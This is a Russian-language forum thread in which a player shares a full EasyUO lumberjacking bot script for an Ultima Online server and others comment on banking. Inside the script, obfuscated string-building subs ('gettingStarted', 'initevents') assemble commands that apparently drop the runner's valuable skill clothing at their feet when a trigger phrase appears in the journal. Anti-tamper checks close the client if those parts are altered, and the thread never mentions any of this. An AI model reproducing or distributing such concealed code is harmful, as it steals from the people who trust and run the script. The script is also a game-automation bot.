23 replies to this topic

[Checkmate]

скинь полный скрипт который в изи забит 

 

Сейчас всё работает нормально, единственное иногда бывает не скидывает логи\инги в ящик в банке. Вот скрипт:

 

Spoiler

set %gameClass Archer      ; Cleric or Archer
set %maxWeight 500       ; Max ves
set %box OEKMKMD      ; ID banka
Set %jashik WPMALMD    ; ID korobki s logami
set %foodCont CFOLMMD      ; ID korobki, gde stoit zapasi moloko i bekona
set %xCoord 635            ; X koordinata okolo boxa
set %yCoord 835            ; Y koordinata okolo boxa
set %dropAspen #false     ; #true - sbrasivajet Aspen logi , #false - net
set %dropWillow #false      ; #true - sbrasivajet  Willow logi , #false - net
set %dropCedarMapleNoblefire #false ; #true sbrasivajet etie logi, #false - net
set %dropCherry  #false
set %dropEcalyptus #false    ; #true sbrasivajet etie logi, #false - net
set %skillItemChange #true  ; #true - menjajet skill shmotki, #false - net
set %recall #false           ; #true - letajet s runebook, #false - begut peshkom
; Do Not Set These Items If %skillItemChange #false
set %skillRobe KIOSJMD      ; Skill Roba (ID)
set %skillCloak TCNSJMD     ; Skill Cloack (ID)
set %skillMask YSNSJMD      ; Skill Mask (ID)
set %simpleRobe UTRVLMD     ; Prostaja Roba (ID)
set %simpleCloak VARVLMD    ; Prostoj cloack (ID)
set %simpleMask CSH         ; Helm (TYPE/ID)
; Etix mozhno ne menjatj, esli %recall #false
set %runebookID NDWXJMD      ; ID runebooka
set %runeNumberToHome 7      ; Nr runi na dom
set %runeNumberToWood 10     ; Nr runi na les
set %amountRecalls 10        ; Skolko recallov vzjatj, kogda ix netu
; special variables for Archer (tolka dlja archera):
set %camp #spc ; #spc - the best camp, heal - healing campifre +5
set %minKidlings 10    ; minimalnoe kolichestvo kidlov v sumke
set %amountKidlings 40 ; skolko kidlov vzjatj, kogda ix netu
set %minArrows 150     ; minimalnoe kolichestvo strel v sumke
set %amountArrows 400  ; skolko strel vzjatj, kogda ix netu
; special variables for Cleric(tolko dlja klerika):
set %Weapon TOH             ; oruzhie
set %Shield OIK             ; shild


set %item ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_DCI
set %logi ZLK
set %time wait 25


set %loot DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL


if %recall
{
gosub Instalyze runeNumberToHome 1
gosub Instalyze runeNumberToWood 2
}
if %dropAspen
set %aspenCol 973
if %dropWillow
set %willowCol 0
if %dropCedarMapleNoblefire 3
set %cedarCol 437
set %mapleCol 1233
set %noblefireCol 153
if %dropCherry
set %cherryCol 38
if %dropEcalyptus
set %ecalyptusCol 81
set %skill %skillRobe , _ , %skillCloak , _ , %skillMask
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0


start:


 GOSUB LJING 684 792 3277
 GOSUB LJING 676 777 3291
 GOSUB LJING 672 777 3289
 GOSUB LJING 676 771 3277
 GOSUB LJING 680 768 3291
 GOSUB LJING 684 771 3283
 GOSUB LJING 688 771 3299
 GOSUB LJING 692 777 3291
 GOSUB LJING 692 774 3283
 GOSUB LJING 688 765 3286
 GOSUB LJING 688 762 3280
 GOSUB LJING 684 765 3302
 GOSUB LJING 688 756 3280
 GOSUB LJING 688 753 3286
 GOSUB LJING 692 750 3302
 GOSUB LJING 692 747 3291
 GOSUB LJING 672 762 3296
 GOSUB LJING 664 774 3296
 GOSUB LJING 660 768 3280
 GOSUB LJING 660 762 3294
 GOSUB LJING 657 755 3299
 GOSUB LJING 664 756 3289
 GOSUB LJING 664 753 3286
 GOSUB LJING 672 750 3294
 GOSUB LJING 664 747 3296
 GOSUB LJING 660 738 3294
 GOSUB LJING 664 738 3280
 GOSUB LJING 672 735 3299
 GOSUB LJING 676 732 3299
 GOSUB LJING 668 735 3277
 GOSUB LJING 668 732 3294
 GOSUB LJING 656 733 3294
 GOSUB LJING 660 732 3283
 GOSUB LJING 660 724 3280
 GOSUB LJING 664 720 3299
 GOSUB LJING 664 732 3302
 GOSUB LJING 668 732 3294
 GOSUB LJING 676 732 3299
 GOSUB LJING 676 726 3289
 GOSUB LJING 688 723 3286
 GOSUB LJING 688 729 3286
 GOSUB LJING 688 741 3296
 GOSUB LJING 692 747 3291
 GOSUB LJING 692 750 3302
 GOSUB LJING 700 756 3280
 GOSUB LJING 708 750 3277
 GOSUB LJING 704 756 3277
 GOSUB LJING 704 762 3286
 GOSUB LJING 712 768 3296
 GOSUB LJING 708 771 3286
 GOSUB LJING 712 771 3283
 GOSUB LJING 720 765 3294
 GOSUB LJING 720 771 3291
 GOSUB LJING 728 768 3277
 GOSUB LJING 728 771 3302
 GOSUB LJING 728 774 3283
 GOSUB LJING 732 780 3280
 GOSUB LJING 728 780 3289
 GOSUB LJING 728 792 3291
 GOSUB LJING 736 795 3299
 GOSUB LJING 740 798 3294
 GOSUB LJING 736 801 3302
 GOSUB LJING 736 798 3291
 GOSUB LJING 732 798 3294
 GOSUB LJING 732 804 3283
 GOSUB LJING 732 807 3296
 GOSUB LJING 736 807 3296
 GOSUB LJING 740 807 3280
 GOSUB LJING 740 810 3283
 GOSUB LJING 740 816 3294
 GOSUB LJING 744 825 3283
 GOSUB LJING 744 828 3302
 GOSUB LJING 744 831 3299
 GOSUB LJING 744 834 3277
 GOSUB LJING 748 837 3277
 GOSUB LJING 740 837 3283
 GOSUB LJING 744 846 3291
 GOSUB LJING 748 852 3283
 GOSUB LJING 744 852 3280
 GOSUB LJING 748 858 3289
 GOSUB LJING 740 860 3299
 GOSUB LJING 733 860 3283
 GOSUB LJING 732 852 3283
 GOSUB LJING 728 849 3299
 GOSUB LJING 724 846 3283
 GOSUB LJING 728 837 3289
 GOSUB LJING 724 840 3280
 GOSUB LJING 716 852 3277
 GOSUB LJING 712 855 3277
 GOSUB LJING 704 855 3299
 GOSUB LJING 704 849 3277
 GOSUB LJING 708 843 3296
 GOSUB LJING 708 840 3291
 GOSUB LJING 692 822 3294
 GOSUB LJING 692 813 3286
 GOSUB LJING 696 813 3291
 GOSUB LJING 692 807 3299




goto start


sub ljing
set %k %k + 1
gosub ghost
gosub checkHP
gosub element
gosub checkWeight
move %1 %2 1
finditem FSF C
if #findcnt = 0
 {
  display ok axe wasn't found!
  pause
 }
set #lobjectid #findid
event macro 17 0
target 7s
set #ltargetx %1
set #ltargety %2
set #ltargetkind 3
set #ltargettile %3
event macro 22 0
wait 10
set %overtime #scnt + 25
gosub scan
return


sub checkWeight
if #weight > %maxWeight
{
if ! %dropAspen && ! %dropWillow && ! %dropCherry && ! %dropEcalyptus && ! %dropCedarMapleNoblefire
{
 if %recall
 gosub port
 if ! %recall
 gosub moveItems
}
if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherry || %dropEcalyptus
{
 gosub dropTrashLogs
 return
 }
}
if %afk <> true || %else <> IJG
gosub ghost 1
return


sub scan
scan:
scanjournal
gosub checkHP
if hungry in #sysmsg
 {
 gosub eat
 return
 }
if ( ( you_can't_reach_this in #sysmsg ) || ( THERE_IS_NOTHING_HERE_TO_CHOP in #sysmsg )
+  || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg )
+  || ( You_cant_do_that,_your_skill_is_to_low in #sysmsg ) )
return
gosub element
gosub checkHP
if #scnt >= %overtime
return
goto scan
return


sub arm
if %gameClass = Cleric
{
repeat
{
finditem %Weapon c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Weapon c_ , #BackpackId
}
until #findcnt = 0
repeat
{
finditem %Shield c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Shield c_ , #BackpackId
}
until #findcnt = 0
}
if %gameClass = Archer
{
msg $.arm bow$
wait 5
}
return


sub port
set %k %k + 1
gosub arm
gosub checkHP
gosub reaper
if G in #charstatus
event macro 6 0
event macro 6 0
set %oldPosX #charposx
set %oldPosY #charposy
gosub openRunebook
repeat
{
click %x1 %y1
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
if %gameClass = Cleric
event macro 13 21
if %gameClass = Archer
event macro 13 47
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
gosub moveItems
gosub back
return






sub moveItems
ignoreitem reset 1
ignoreitem %skill 1
gosub runToBox
if %gameClass = Cleric
msg Bank$
finditem %jashik
repeat
wait 50


if #findcnt = 0
repeat


{
finditem %logi C_ , #backpackid
if #findcnt >= 1
{
msg bank$
drag:
if world_save_has_been in #sysmsg
wait 15s
exevent Drag #Findid #findstack
wait %time
exevent Dropc %jashik
finditem %logi C_ , #backpackid
if #findcnt >= 1
{
wait 10
goto drag
}
}


ignoreitem reset 1
gosub RunToWood
return










 bank:
msg $
msg bank$
wait 14
finditem %jashik
return


sub back
gosub checkHP
set %oldPosX #charposx
set %oldPosY #charposy
for %i 1 2
{
gosub openRunebook
click 261 215     ; Recharge runebook 2x
wait 20
}
gosub openRunebook
repeat
{
click %x2 %y2
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
wait 2s
gosub changeClothesTo %skillMask %skillRobe %skillCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
return


sub runToBox
move 683 812
move 678 831
move 648 859
move 634 859
move 634 856
wait 10
event macro 12 0
wait 5
move 634 834
msg bank$
return


sub runToWood
move 634 854
move 634 861
move 647 861
move 683 825
move 681 803
;move 5544 2917
;move 5566 2917
return




sub checkHP
if #hits < #maxhits
{
 if %skillItemChange
 gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
gosub arm
gosub follow&kill
 if %skillItemChange
 gosub changeClothesTo %skillMask %skillRobe %skillCloak
}
return


sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return


sub openRunebook
finditem %runebookID C_ , #backpackid
if #findcnt = 0
{
event sysmessage Runebook not found!
pause
}
set #lobjectid #findid
event macro 17 0
while #contname <> generic_gump && #contsize <> 577_426
wait 1
return


sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return


sub changeClothesTo
repeat
{
finditem %1 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %1 C_ , #backpackid
}
until #findcnt = 0
repeat
{
finditem %2 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %2 C_ , #backpackid
}
until #findcnt = 0
repeat
{
Finditem %3 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %3 C_ , #backpackid
}
until #findcnt = 0
return


sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return


sub follow&kill
set %charX #charposx
set %charY #charposy
set %charz #charposz
set %killTime #scnt + 60
if %gameClass = Cleric
{
repeat
{
finditem #enemyid
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem #enemyid
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
return


sub heal
repeat
{
msg $.usebandage$
wait 10
target
event macro 23 0
wait 20
}
until #hits >= #maxhits
return


sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return


sub eat
finditem ZBM C
set #lobjectid #findid
event macro 17 0
wait 10
finditem GND C
set #lobjectid #findid
event macro 17 0
wait 10
event macro 17 0
wait 5s
return


sub Instalyze
if % . %1 <= 8
set %x . %2 260
else
set %x . %2 420
if % . %1 = 1 || % . %1 = 9
set %y . %2 260
if % . %1 = 2 || % . %1 = 10
set %y . %2 275
if % . %1 = 3 || % . %1 = 11
set %y . %2 290
if % . %1 = 4 || % . %1 = 12
set %y . %2 305
if % . %1 = 5 || % . %1 = 13
set %y . %2 320
if % . %1 = 6 || % . %1 = 14
set %y . %2 335
if % . %1 = 7 || % . %1 = 15
set %y . %2 350
if % . %1 = 8 || % . %1 = 16
set %y . %2 365
return


sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc #backpackid
wait 40
}
until #false
}
return






sub reaper
if %lastK >= %k
gosub ghost 1
set %lastK %k
finditem JE G
if #findcnt <> 0
{
sound
gosub arm
set %charX #charposx
set %charY #charposy
set %charz #charposz
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
set %killTime #scnt + 60
finditem JE G
set %reaper #findid
set #ltargetid %reaper
event macro 27 0
if %gameClass = Cleric
{
repeat
{
finditem %reaper
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem %reaper
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
}
return


sub rescourses
finditem RWF C_ , #backpackid
if #findstack <= %minArrows
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem RWF C_ , %box
exevent drag #findid %amountArrows
exevent dropc #backpackid
wait 30
}
finditem PEF C_ , #backpackid
if #findstack <= %minKidlings
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem PEF C_ , %box
exevent drag #findid %amountKidlings
exevent dropc #backpackid
wait 30
}
return


sub recalls
finditem WTL C_ , #backpackid
if #findstack <= 2 || #findcnt = 0
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem WTL C_ , %box
exevent drag #findid %amountRecalls
exevent dropc #backpackid
wait 30
}
return


sub dropTrashLogs
repeat
{
finditem ZLK C_ , #backpackid
if #findcnt = 0
 {
  wait 10
  if #weight >= %maxweight
   {
   if %recall
   gosub port
   if ! %recall
   gosub moveItems
   return
   }
  if #weight < %maxweight
   return
 }
if #findcol = %willowCol || #findcol = %aspenCol
+ || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol
+ || #findcol = %cherryCol || #findcol = %ecalyptusCol
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 5
}
ignoreitem #findid 1
}
until #false
return


sub food
finditem ZBM C_ , #backpackid
if #findcnt = 0
{
set #lobjectid %foodCont
event macro 17 0
while #contid <> %foodCont
wait 1
finditem ZBM C_ , %foodCont  ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
finditem GND C_ , #backpackid
if #findcnt = 0
{
finditem GND C_ , %foodCont
exevent drag #findid 4  ; 4 baocn slices
exevent dropc #backpackid
wait 30
finditem ZBM C_ , %foodCont  ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
return

 

[1exa]

настраивай нормально скрипт рабочий, и лучше в дом! банк это не удобно вендор на перекур уйдёт и всё )) либо какое нибудь действие и банк закроется и будет стоять курить 

[Checkmate]

ну я только вышел в мир) вот копаю на дом первым делом конечно))

[Bobjor]

ну я только вышел в мир) вот копаю на дом первым делом конечно))

http://forum.oldp.net/index.php?showtopic=103311 
Напиши в эту тему, тебе помогут, думаю что даже с домиком, блоков дадут, и лучше пиши туда, там более спокойные ребята помогают) меценаты наши.